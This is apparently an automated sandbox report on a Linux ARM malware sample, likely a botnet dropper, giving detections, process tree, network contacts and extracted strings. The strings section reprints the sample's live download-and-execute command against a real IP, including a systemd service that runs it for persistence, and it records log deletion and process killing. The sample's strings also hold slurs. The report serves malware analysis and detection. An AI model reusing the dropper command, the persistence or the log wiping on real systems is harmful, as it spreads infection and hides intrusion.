Edit tour

Linux Analysis Report
arm5.elf

Overview

General Information

Sample name:	arm5.elf
Analysis ID:	1583069
MD5:	8114773b3827da1450fa61dda0679c8b
SHA1:	db663b5e80ce27edbb3d06b81bca78b45cc5b1dc
SHA256:	b6720048ed8dc114296bb3007adca57f649247dddadde777b00019aaadd1d360
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Deletes system log files

Manipulation of devices in /dev

Sample deletes itself

Sends malformed DNS queries

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "rm" command used to delete files or directories

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583069
Start date and time:	2025-01-01 18:41:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm5.elf
Detection:	MAL
Classification:	mal72.troj.evad.linELF@0/4@54/0

Warnings

VT rate limit hit for: tcpdown.suo. [malformed]
VT rate limit hit for: tcpdown.su|1

Runtime Messages

Command:	/tmp/arm5.elf
PID:	6251
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	made you my bitch
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6223, Parent: 4331)

rm (PID: 6223, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.s3f1DOFraO /tmp/tmp.INBspAWO6B /tmp/tmp.AXSB26qnlD

dash New Fork (PID: 6224, Parent: 4331)

rm (PID: 6224, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.s3f1DOFraO /tmp/tmp.INBspAWO6B /tmp/tmp.AXSB26qnlD

arm5.elf (PID: 6251, Parent: 6151, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm5.elf

arm5.elf New Fork (PID: 6253, Parent: 6251)

arm5.elf New Fork (PID: 6255, Parent: 6253)

arm5.elf New Fork (PID: 6415, Parent: 6255)

arm5.elf New Fork (PID: 6417, Parent: 6255)

arm5.elf New Fork (PID: 6426, Parent: 6255)

arm5.elf New Fork (PID: 6434, Parent: 6255)

arm5.elf New Fork (PID: 6436, Parent: 6255)

arm5.elf New Fork (PID: 6443, Parent: 6255)

arm5.elf New Fork (PID: 6452, Parent: 6255)

arm5.elf New Fork (PID: 6454, Parent: 6255)

arm5.elf New Fork (PID: 6463, Parent: 6255)

arm5.elf New Fork (PID: 6465, Parent: 6255)

arm5.elf New Fork (PID: 6494, Parent: 6255)

arm5.elf New Fork (PID: 6497, Parent: 6255)

arm5.elf New Fork (PID: 6503, Parent: 6255)

arm5.elf New Fork (PID: 6512, Parent: 6255)

arm5.elf New Fork (PID: 6514, Parent: 6255)

arm5.elf New Fork (PID: 6523, Parent: 6255)

arm5.elf New Fork (PID: 6525, Parent: 6255)

arm5.elf New Fork (PID: 6555, Parent: 6255)

arm5.elf New Fork (PID: 6558, Parent: 6255)

arm5.elf New Fork (PID: 6571, Parent: 6255)

arm5.elf New Fork (PID: 6577, Parent: 6255)

arm5.elf New Fork (PID: 6586, Parent: 6255)

arm5.elf New Fork (PID: 6589, Parent: 6255)

arm5.elf New Fork (PID: 6596, Parent: 6255)

arm5.elf New Fork (PID: 6602, Parent: 6255)

arm5.elf New Fork (PID: 6605, Parent: 6255)

arm5.elf New Fork (PID: 6607, Parent: 6255)

arm5.elf New Fork (PID: 6616, Parent: 6255)

arm5.elf New Fork (PID: 6618, Parent: 6255)

arm5.elf New Fork (PID: 6622, Parent: 6255)

arm5.elf New Fork (PID: 6632, Parent: 6255)

arm5.elf New Fork (PID: 6637, Parent: 6255)

arm5.elf New Fork (PID: 6646, Parent: 6255)

arm5.elf New Fork (PID: 6651, Parent: 6255)

arm5.elf New Fork (PID: 6662, Parent: 6255)

arm5.elf New Fork (PID: 6664, Parent: 6255)

arm5.elf New Fork (PID: 6673, Parent: 6255)

arm5.elf New Fork (PID: 6679, Parent: 6255)

arm5.elf New Fork (PID: 6691, Parent: 6255)

arm5.elf New Fork (PID: 6693, Parent: 6255)

arm5.elf New Fork (PID: 6700, Parent: 6255)

arm5.elf New Fork (PID: 6703, Parent: 6255)

arm5.elf New Fork (PID: 6706, Parent: 6255)

arm5.elf New Fork (PID: 6716, Parent: 6255)

arm5.elf New Fork (PID: 6723, Parent: 6255)

arm5.elf New Fork (PID: 6257, Parent: 6253)

arm5.elf New Fork (PID: 6262, Parent: 6257)

arm5.elf New Fork (PID: 6260, Parent: 6253)

sh (PID: 6260, Parent: 6253, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload"

sh New Fork (PID: 6264, Parent: 6260)

systemctl (PID: 6264, Parent: 6260, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

arm5.elf New Fork (PID: 6269, Parent: 6253)

sh (PID: 6269, Parent: 6253, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable startup_command.service"

sh New Fork (PID: 6271, Parent: 6269)

systemctl (PID: 6271, Parent: 6269, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable startup_command.service

systemd New Fork (PID: 6266, Parent: 6265)

snapd-env-generator (PID: 6266, Parent: 6265, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 6273, Parent: 6272)

snapd-env-generator (PID: 6273, Parent: 6272, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

gnome-session-binary New Fork (PID: 6275, Parent: 1477)

sh (PID: 6275, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-rfkill

gsd-rfkill (PID: 6275, Parent: 1477, MD5: 88a16a3c0aba1759358c06215ecfb5cc) Arguments: /usr/libexec/gsd-rfkill

systemd New Fork (PID: 6280, Parent: 1)

systemd-hostnamed (PID: 6280, Parent: 1, MD5: 2cc8a5576629a2d5bd98e49a4b8bef65) Arguments: /lib/systemd/systemd-hostnamed

gdm3 New Fork (PID: 6413, Parent: 1320)

Default (PID: 6413, Parent: 1320, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 6414, Parent: 1320)

Default (PID: 6414, Parent: 1320, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: arm5.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: arm5.elf	Virustotal: Detection: 50%			Perma Link
Source: arm5.elf	ReversingLabs: Detection: 52%

Source: arm5.elf	String: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: arm5.elf	String: /proc//exe%s/%s/proc/%s/cmdlinerwgetcurlnetstatgreppsbusyboxlsmvechokillkillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exe//mnt/root/dev/console/var/wwww/etc/systemd/system/startup_command.service[Unit]
Source: arm5.elf	String: /tmp/rc_local.tmpr+/usr/bin/systemctl/etc/init.dcd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s/dev/watchdog/dev/misc/watchdogmade you my bitch
Source: startup_command.service.17.dr	String: ExecStart=cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh (null)

Networking

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: tcpdown.suo. [malformed]

Source: global traffic	TCP traffic: 192.168.2.23:38172 -> 45.200.149.249:2601
Source: global traffic	TCP traffic: 192.168.2.23:57096 -> 107.175.130.16:7722

Source: /tmp/arm5.elf (PID: 6251)

Socket: 127.0.0.1:39123

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16

Source: global traffic	DNS traffic detected: DNS query: tcpdown.su
Source: global traffic	DNS traffic detected: DNS query: tcpdown.su\|1
Source: global traffic	DNS traffic detected: DNS query: tcpdown.su
Source: global traffic	DNS traffic detected: DNS query: tcpdown.suo. [malformed]

Source: startup_command.service.17.dr	String found in binary or memory: http://154.216.18.192/auto.sh
Source: arm5.elf, startup_command.service.17.dr	String found in binary or memory: http://154.216.18.192/auto.sh;

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: Initial sample	String containing 'busybox' found: /proc//exe%s/%s/proc/%s/cmdlinerwgetcurlnetstatgreppsbusyboxlsmvechokillkillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exe//mnt/root/dev/console/var/wwww/etc/systemd/system/startup_command.service[Unit]
Source: Initial sample	String containing 'busybox' found: /tmp/rc_local.tmpr+/usr/bin/systemctl/etc/init.dcd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s/dev/watchdog/dev/misc/watchdogmade you my bitch

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/arm5.elf (PID: 6257)	SIGKILL sent: pid: 721, result: successful	Jump to behavior
Source: /tmp/arm5.elf (PID: 6257)	SIGKILL sent: pid: 904, result: successful	Jump to behavior
Source: /tmp/arm5.elf (PID: 6257)	SIGKILL sent: pid: 912, result: successful	Jump to behavior
Source: /tmp/arm5.elf (PID: 6257)	SIGKILL sent: pid: 918, result: successful	Jump to behavior
Source: /tmp/arm5.elf (PID: 6257)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/arm5.elf (PID: 6257)	SIGKILL sent: pid: 1601, result: successful	Jump to behavior
Source: /tmp/arm5.elf (PID: 6257)	SIGKILL sent: pid: 1638, result: successful	Jump to behavior
Source: /tmp/arm5.elf (PID: 6257)	SIGKILL sent: pid: 1877, result: successful	Jump to behavior
Source: /tmp/arm5.elf (PID: 6257)	SIGKILL sent: pid: 6275, result: successful	Jump to behavior

Source: classification engine

Classification label: mal72.troj.evad.linELF@0/4@54/0

Data Obfuscation

Manipulation of devices in /dev

Source: /tmp/arm5.elf (PID: 6255)

Deleted: /dev/kmsg

Jump to behavior

Source: /usr/libexec/gsd-rfkill (PID: 6275)	Directory: <invalid fd (9)>/..	Jump to behavior
Source: /usr/libexec/gsd-rfkill (PID: 6275)	Directory: <invalid fd (8)>/..	Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 6280)	Directory: <invalid fd (10)>/..	Jump to behavior

Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6230/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6232/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6231/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6234/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6233/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6235/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6227/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6226/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6229/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6228/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6238/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6237/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/6239/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6251)	File opened: /proc/255/cmdline	Jump to behavior

Source: /tmp/arm5.elf (PID: 6260)	Shell command executed: sh -c "systemctl daemon-reload"			Jump to behavior
Source: /tmp/arm5.elf (PID: 6269)	Shell command executed: sh -c "systemctl enable startup_command.service"			Jump to behavior

Source: /usr/bin/dash (PID: 6223)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.s3f1DOFraO /tmp/tmp.INBspAWO6B /tmp/tmp.AXSB26qnlD			Jump to behavior
Source: /usr/bin/dash (PID: 6224)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.s3f1DOFraO /tmp/tmp.INBspAWO6B /tmp/tmp.AXSB26qnlD			Jump to behavior

Source: /bin/sh (PID: 6264)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload			Jump to behavior
Source: /bin/sh (PID: 6271)	Systemctl executable: /usr/bin/systemctl -> systemctl enable startup_command.service			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes system log files

Source: /tmp/arm5.elf (PID: 6255)

Log files deleted: /var/log/kern.log

Jump to behavior

Sample deletes itself

Source: /tmp/arm5.elf (PID: 6251)

File: /tmp/arm5.elf

Jump to behavior

Source: /tmp/arm5.elf (PID: 6251)	Queries kernel information via 'uname':			Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 6280)	Queries kernel information via 'uname':			Jump to behavior

Source: arm5.elf, 6673.1.0000564aaf725000.0000564aaf874000.rw-.sdmp	Binary or memory string: /arm/var/lib/vmware
Source: arm5.elf, 6673.1.0000564aaf725000.0000564aaf874000.rw-.sdmp	Binary or memory string: /arm/var/lib/vmware/VGAuth/aliasStore
Source: arm5.elf, 6251.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6415.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6417.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6426.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6434.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6436.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6443.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6452.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6454.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6463.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6465.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6494.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6497.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6503.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6512.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6514.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6523.1.00007fff73111000.00007fff73132000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.elf
Source: arm5.elf, 6673.1.00007fba34034000.00007fba34045000.rw-.sdmp	Binary or memory string: $/tmp/vmware-root_721-4290559889,
